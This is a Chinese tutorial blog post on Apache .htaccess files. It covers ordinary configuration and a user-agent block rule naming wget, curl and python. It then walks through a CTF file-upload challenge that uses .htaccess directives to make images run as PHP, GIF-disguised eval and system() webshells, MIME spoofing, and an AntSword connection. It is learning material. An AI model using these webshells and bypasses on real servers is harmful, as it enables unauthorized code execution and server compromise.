.htaccess文件的组成、用法及作用详解

.htaccess(Hypertext Access)是 Apache 服务器的一个分布式配置文件,可以覆盖主配置文件的设置,无需重启服务器即可生效(需要管理员级别权限修改的httpd.conf文件修改后需要重启Apach服务器)它主要用于目录级的配置,是 Web 安全、URL 重写和服务器优化的重要工具。

1、.htaccess 文件的基本组成

.htaccess 文件是一个纯文本文件,通常包含以下类型的指令:

 常用指令类型

指令类型示例作用
认证与授权AuthType Basic密码保护目录
URL 重写RewriteRule ^old.html$ new.html [R=301]重定向或美化 URL
错误页面定制ErrorDocument 404 /404.html自定义 404 页面
禁止访问Deny from all阻止特定 IP 或用户代理访问
MIME 类型设置AddType application/x-httpd-php .php定义文件类型处理方式
缓存控制ExpiresActive On设置浏览器缓存策略
PHP 配置覆盖php_value upload_max_filesize 20M修改 PHP 运行参数(如上传限制)

2、.htaccess 的核心作用

1. URL 重写(SEO 友好 & 隐藏真实路径)

RewriteEngine On
RewriteRule ^article/([0-9]+)/?$ article.php?id=$1 [L]
  • 用户访问 /article/123/ → 实际执行 article.php?id=123

  • 常用于 WordPress、Laravel 等框架

2. 访问控制(安全防护)

# 禁止访问特定文件
<Files "config.ini">Deny from all
</Files># 屏蔽恶意 User-Agent
RewriteCond %{HTTP_USER_AGENT} (wget|curl|python) [NC]
RewriteRule .* - [F]

3. 自定义错误页面

ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html
  • 提升用户体验,避免暴露服务器信息。(了解一下即可)

4. 防止目录遍历

Options -Indexes
  • 禁止直接列出目录内容(防止敏感文件泄露)。

5. 强制 HTTPS(安全跳转)

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

6. 禁止 PHP 执行(安全防护)

<FilesMatch "\.(php|inc)$">Deny from all
</FilesMatch>
  • 常用于上传目录(如 /uploads/),防止上传 Webshell 被执行。

3、典型应用场景

1. WordPress 的 .htaccess

# BEGIN WordPress
<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^index\.php$ - [L]RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule . /index.php [L]
</IfModule>
# END WordPress

  • 实现“固定链接”(Pretty Permalinks)功能。

2. 防止图片盗链

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https://(www\.)?yourdomain.com [NC]
RewriteRule \.(jpg|png|gif)$ - [F]

  • 只允许本站引用图片,外站访问返回 403。

3. 限制 IP 访问

Order Deny,Allow
Deny from all
Allow from 192.168.1.100

  • 仅允许特定 IP 访问目录。


4、注意事项

  1. 性能影响:

    每个请求都会读取 .htaccess,高流量站点建议改用主配置文件(httpd.conf)。
  2. 语法严格:

    错误的规则可能导致 500 错误,测试时建议备份原文件。
  3. 优先级:

    子目录的 .htaccess 会覆盖父目录的设置。
  4. 安全风险:

    错误的权限设置可能导致 .htaccess 被篡改(建议权限设为 644)

5、如何测试 .htaccess 是否生效?

  1. 访问目标 URL,观察是否按规则跳转。

  2. 使用 curl 检查响应头:

    curl -I http://example.com/test

6、.htaccess文件在文件上传漏洞中的构造方法及作用详解

.htaccess文件概述

.htaccess是Apache服务器的一个配置文件,它允许用户针对特定目录修改服务器的配置,而无需访问主配置文件。在文件上传漏洞利用中,攻击者常利用.htaccess文件来实现恶意目的。

<1>.htaccess在文件上传漏洞中的作用

  1. 文件执行控制:通过修改文件解析规则,使原本不可执行的文件(如图片)能够作为PHP等脚本执行

  2. 绕过限制:绕过服务器的文件类型检查和安全限制

  3. 持久化访问:为后续攻击提供持久化的后门访问

<2>常见的.htaccess构造方法

1. 修改文件解析规则

apache

AddType application/x-httpd-php .jpg .png .gif

作用:使服务器将.jpg、.png、.gif等图片文件当作PHP脚本解析执行

(比如当题目限制只能上传图片文件而没有对.htaccess文件过滤时,就可以使用这种方法进行绕过)

2. 设置PHP执行标志

apache

<FilesMatch "\.(jpg|png|gif)$">SetHandler application/x-httpd-php
</FilesMatch>

作用:匹配特定扩展名的文件,强制使用PHP处理器处理

这个暂时还没弄明白怎么运用

3. 自定义错误处理程序

apache

ErrorDocument 404 /uploads/malicious.php

作用:将404错误重定向到恶意脚本,实现隐蔽访问

4. 启用PHP配置选项

apache

php_value auto_prepend_file "malicious.jpg"
php_value auto_append_file "malicious.jpg"

作用:在每个PHP文件执行前后自动包含恶意文件

5. 重写URL规则

apache

RewriteEngine On
RewriteRule ^(.*)\.jpg$ malicious.php?file=$1

作用:将访问.jpg文件的请求重定向到恶意PHP脚本

总结来说就是:

假设攻击者上传了一个包含以下内容的.htaccess文件:

apache

AddType application/x-httpd-php .abc

然后上传一个名为"shell.abc"的文件,内容为:

php

<?php system($_GET['cmd']); ?>

这样,访问"shell.abc?cmd=id"就会执行系统命令。

例题
【nssctf】 GXYCTF2019 BabyUpload

开启题目后随便上传一个木马.txt文件,提示太露骨了

同样的png文件也提示露骨

然后我上传了一个muma.jpg图片,提示如下

由此可知,后端检测出上传的jpg文件中含有php代码(即后缀检测,内容也检测)

而对内容检测八成就是对php标签内容检测

所以需要将jpg中的php代码修改为Javascript的形式,如下:

GIF89a
<script language='php'>@eval($_POST["a"]);</script>

 (这串代码简洁明了的解释就是 结合GIF图像格式和PHP代码,用于绕过文件上传限制并执行恶意代码)

这里我详细记录一下这串代码的作用吧:

  • GIF89a是GIF图像文件的文件头标识。它表示这是一个GIF格式的图像文件。

  • GIF文件的文件头通常是GIF89a或GIF87a,用于标识文件类型和版本(这一步是为上传成功作准备的)

  • <script language='php'>:

    • 这是一个HTML <script> 标签,通常用于嵌入脚本代码。

    • 在这里,language='php'属性指定了脚本语言为PHP。

  • @eval($_POST["a"]);:

    • @eval 是PHP的一个函数,用于执行字符串中的PHP代码。

    • $_POST["a"] 是一个超全局变量,表示通过POST方法传递的参数a。

    • @符号用于抑制错误信息,即使eval函数执行失败,也不会显示任何错误信息。

(这一大坨都是为了后面.htaccess文件解析它作准备)

接下来上传文件后页面回显路径

说明上传成功,既然能上传,接下来只需要解决能否解析.jpg文件中的php代码就可以了

而想要解析.jpg文件中的php代码,就可以使用.htaccess文件来进行实现

接着来看步骤:
先创建一个.htaccess文件,用记事本打开,写入以下内容:

AddType application/x-httpd-php .jpg .txt .png

 这条命令可以让Apach服务器在遇到.jpg .txt .png 文件时按照php文件来解析(即解析其中的php代码)

下一步  .htaccess文件配合 .jpg 文件上传

先上传.htaccess 文件,响应页面如下

没错,露骨就需要抓包改一下MIME类型了(Content-type)

选择.htaccess文件后,抓包然后上传

点击上传

修改MIME类型为允许的image/jpeg

 修改后放行,出现响应界面

页面提示.htaccess文件上传成功

这样的话就可以上传待解析的jpg文件了

直接上传

可以看到此刻jpg文件也上传成功

既然路径也有了,接下来只需要拼接url访问即可

拼接访问

发现伪装的jpg文件头已显示,说明图片(php代码)解析成功

可以通过POST传参传入php语句看其是否能执行

F12键打开hackbar,利用一句话木马传入的参数执行php语句

(别搞错,上传的木马参数不一样这里就不一样。我的是a)

执行

php语句可执行, 接下来就可以连接蚁剑

打开蚁剑添加数据,填入拼接好的url,传入的参数即为连接密码(我的是a)

点击测试连接

连接成功后点击添加 。最后打开目录搜寻flag即可


总的来说

.htaccess 是 Apache 服务器的强大工具,可用于:
URL 重写(SEO 优化)
访问控制(IP/User-Agent 过滤)
安全防护(禁止目录遍历、防 PHP 执行)
自定义错误页(提升用户体验)

而在文件上传漏洞中,.htaccess文件在文件上传漏洞中常被用作"桥梁",通过修改服务器配置来绕过安全限制。

合理使用能大幅增强网站安全性和灵活性,但需注意性能影响和语法正确性,否则出现“文件因错误而无法显示”就是常态了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.tpcf.cn/news/900859.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

10A 大电流 DCDC 降流芯片 WD5030

10A 大电流 DCDC 降压芯片 WD5030 在电子设备的电源管理领域&#xff0c;高效稳定的 DCDC 芯片至关重要。今天我们来深入探讨一款性能卓越的 10A 大电流 DCDC 降流芯片 ——WD5030。它在众多电子应用场景中展现出了强大的优势&#xff0c;为各类设备的稳定供电提供了可靠保障。…

HCIP【路由过滤技术(详解)】

目录 1 简介 2 路由过滤方法 3 路由过滤工具 3.1 静默接口 3.2 ACL 3.3 地址前缀列表 3.4 filter-policy 3.4.1 filter-policy过滤接收路由&#xff08;以RIP为例&#xff09; 3.4.2 filter-policy过滤接收路由&#xff08;以OSPF为例&#xff09; 1 简介 路由过滤技术…

Cursor Agent 模式实现复杂工作流的编排与执行

引言 在 Dify Workflows MCP Server (TypeScript)设计与实战 文章中提到过通过 MCP 调用编排好的 Dify 工作流,那在 Cursor 中是否可以 自行实现 对应的工作流编排效果,这样可以充分的利用 Cursor 中的代码上下文,从而保证生成的代码可以更符合项目的需求,进一步降低手工…

ShopXO v2.2.4开源商城手动部署(保姆级)+异常处理

ShopXO v2.2.4开源商城手动部署(保姆级) 1.项目了解 1.1项目简洁 ShopXO国内领先企业级免费开源电商系统&#xff01; 求实进取、创新专注、自主研发、国内领先企业级电商系统解决方案。遵循MIT开源协议发布&#xff0c;无需授权、可商用、可二次开发、满足99%的电商运营需…

蓝桥杯 分解质因数(唯一分解定理)

分解质因数 题目描述 给定一个区间 [a,b][a,b]&#xff0c;请你求出区间 [a,b][a,b] 中所有整数的质因数分解。 输入描述 输入共一行&#xff0c;包含两个整数 a,ba,b。 2≤a≤b≤1032≤a≤b≤103。 输出描述 每行输出一个数的分解&#xff0c;形如 ka1a2a3⋯(a1≤a2≤a…

【C++算法】53.链表_重排链表

文章目录 题目链接&#xff1a;题目描述&#xff1a;解法C 算法代码&#xff1a; 题目链接&#xff1a; 143. 重排链表 题目描述&#xff1a; 解法 模拟 找到链表的中间节点 快慢双指针 把后面的部分逆序 双指针&#xff0c;三指针&#xff0c;头插法 合并两个链表 合并两个有…

【Java设计模式】第7章 建造者模式讲解

7-1 建造者模式讲解 1. 定义与类型 定义: 将复杂对象的构建与表示分离,使相同构建过程可创建不同表示。类型: 创建型模式。通俗解释: 分步构建含多组件的对象,流程固定但顺序灵活(如做菜时放盐顺序可变)。2. 适用场景 对象内部结构复杂(多属性或多步骤)。需将对象创建与…

本地laravel项目【dcat-admin】部署到liunx服务器

文章目录 前言一、部署流程1、数据库搬迁2、宝塔创建网站&#xff0c;配置php3、修改nginx配置4、在public目录设置软连接5、修改env配置、刷新缓存 二、其他问题1.后台登陆失败问题2.完美解决接口跨域问题 总结 前言 laravel新手记录 差不多一个月&#xff0c;总算用laravel…

医院导航系统方案:多模态三维导航引擎赋能医院智慧升级(二)

本文面向智慧医院建设方与算法研发工程师&#xff0c;聚焦解决多楼层复杂场景下的精准导航难题&#xff0c;提供从数学建模到工程落地的技术实战方案。 如需获取智慧医院导航导诊系统解决方案请前往文章最下方获取&#xff0c;如有项目合作及技术交流欢迎私信作者。 一、技术聚…

NO.84十六届蓝桥杯备战|动态规划-路径类DP|矩阵的最小路径和|迷雾森林|过河卒|方格取数(C++)

路径类dp是线性dp的⼀种&#xff0c;它是在⼀个nm的矩阵中设置⼀个⾏⾛规则&#xff0c;研究从起点⾛到终点的⽅案数、最⼩路径和或者最⼤路径和等等的问题 矩阵的最小路径和_牛客题霸_牛客网 状态表⽰&#xff1a; dp[i][j]表⽰&#xff1a;到达[i, j]位置处&#xff0c;最⼩…

openlayers入门01 -- 环境配置和初始化地图

openlayers入门 openlayers开发环境配置 1.下载VSCode 官网地址&#xff1a;https://code.visualstudio.com/ 点击Download for Windows 2.安装汉化插件和openlayers插件 搜索chinese&#xff0c;下载Chinese (Simplified) (简体中文) Language Pack 更改语言并重启 搜…

最新版DataGrip超详细图文安装教程,带补丁包(2025最新版保姆级教程)

目录 前言 一、DataGrip最新版下载 二、DataGrip安装 三、DataGrip补丁 四、运行DataGrip 前言 DataGrip 是由 JetBrains 公司开发的一款专业的跨平台数据库管理工具&#xff0c;主要用于连接、管理和操作多种主流关系型数据库及部分 NoSQL 数据库。它支持 MySQL、Postgre…

25年时代电服社招入职Verify测评SHL题库语言理解数字推理考什么?

宁德时代语言理解 语言理解部分主要考察应聘者的语言表达和逻辑思维能力&#xff0c;题型包括阅读理解、逻辑填空和语句排序。阅读理解要求应聘者快速捕捉文章的主旨和细节信息&#xff0c;能够迅速把握文章的核心观点&#xff1b;逻辑填空需要在给定的语句中填入最合适的词汇…

QML 弹窗控件:Popup的基本用法与样式

目录 引言相关阅读Popup基本属性工程结构示例实现Main.qml - 主界面SimplePopup.qml - 简单弹窗ModalPopup.qml - 模态弹窗CustomPopup.qml - 自定义样式弹窗AnimatedPopup.qml - 带动画的弹窗 总结工程下载 引言 在现代图形用户界面(GUI)开发中&#xff0c;弹窗(Popup)是一种…

SkyWalking + ELK 全链路监控系统整合指南

一、架构设计图 二、核心组件部署 1. SkyWalking 集群部署 yaml: # docker-compose-skywalking.yml version: 3.8services:oap:image: apache/skywalking-oap-server:9.7.0ports:- "11800:11800" # gRPC- "12800:12800" # HTTPenvironment:SW_STORAGE: …

DP主站如何华丽变身Modbus TCP网关!

DP主站如何华丽变身Modbus TCP网关&#xff01; 在工业自动化领域&#xff0c;Profibus DP和Modbus TCP是两种常用的通信协议。Profibus DP通常应用于制造业自动化场景&#xff0c;而Modbus TCP则广泛使用于工业自动化和楼宇自动化等领域。为了实现这两种协议之间的互联互通&a…

AI | 字节跳动 AI 中文IDE编辑器 Trae 初体验

Trae 简介与安装 &#x1f526; 什么是 Trae Trae 是大厂字节跳动出品的国内首个 AI IDE&#xff0c;深度理解中文开发场景。AI 高度集成于 IDE 环境之中&#xff0c;为你带来比 AI 插件更加流畅、准确、优质的开发体验。说是能够不用写代码&#xff0c;全靠一张嘴跟 AI 聊天…

Web3 的云基础设施正在成型,Polkadot 2.0 用三项技术改写“上链成本”

在Web3基础设施内卷加剧的今天&#xff0c;“如何以更低成本、更大灵活性部署一条高性能应用链”正成为开发者们最关心的问题。而刚刚走出“技术慢热”误区的Polkadot&#xff0c;正在用一套名为 Polkadot 2.0 的架构升级方案&#xff0c;重新定义这一问题的解法。 这套升级最…

【Linux】39.一个基础的HTTP Web服务器

文章目录 1. 实现一个基础的HTTP Web服务器1.1 功能实现&#xff1a;1.2 Log.hpp-日志记录器1.3 HttpServer.hpp-网页服务器1.4 Socket.hpp-网络通信器1.5 HttpServer.cc-服务器启动器 1. 实现一个基础的HTTP Web服务器 1.1 功能实现&#xff1a; 总体功能&#xff1a; 提供We…

沐渥科技详解氮气柜操作指南

氮气柜是一种通过持续注入高纯度氮气&#xff0c;维持柜内惰性气体环境的设备&#xff0c;用于存储半导体晶圆或其他敏感元件&#xff0c;防止氧化、吸湿和污染。氮气柜操作指南是怎样的&#xff1f;下面沐渥小编给大家介绍一下。 一、操作前准备 &#xff08;1&#xff09;安全…